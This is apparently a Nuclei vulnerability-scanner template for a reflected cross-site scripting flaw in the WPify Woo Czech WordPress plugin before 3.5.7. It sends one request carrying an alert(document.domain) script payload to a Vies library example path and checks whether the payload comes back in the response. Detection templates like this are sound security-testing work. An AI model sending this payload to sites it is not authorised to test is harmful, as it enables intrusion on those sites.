id: wpify-woo-czech-xss

info:
  name: WordPress WPify Woo Czech <3.5.7 - Cross-Site Scripting
  author: Akincibor
  severity: high
  description: WordPress WPify Woo Czech plugin before 3.5.7 contains a cross-site scripting vulnerability. The plugin uses the Vies library 2.2.0, which has a sample file outputting $_SERVER['PHP_SELF'] in an attribute without being escaped first. The issue is only exploitable when the web server has the PDO driver installed and write access to the example directory.
  reference:
    - https://wpscan.com/vulnerability/5c66c32b-22f2-4b59-a6b2-b8da944cdc3c
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: wp,wordpress,xss,wp-plugin,wpify,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpify-woo/deps/dragonbe/vies/examples/async_processing/queue.php/"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Add a new VAT ID to the queue'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402204ffd74784c55c72c3e9351bc066b056208700ab4f2fa885c6d5bba0bee481c7a02202e8ac4f4ac3182fc6da9292572a82ffd57a5c1c8ddaa356c87ffac1d7c247977:922c64590222798bb761d5b6d8e72950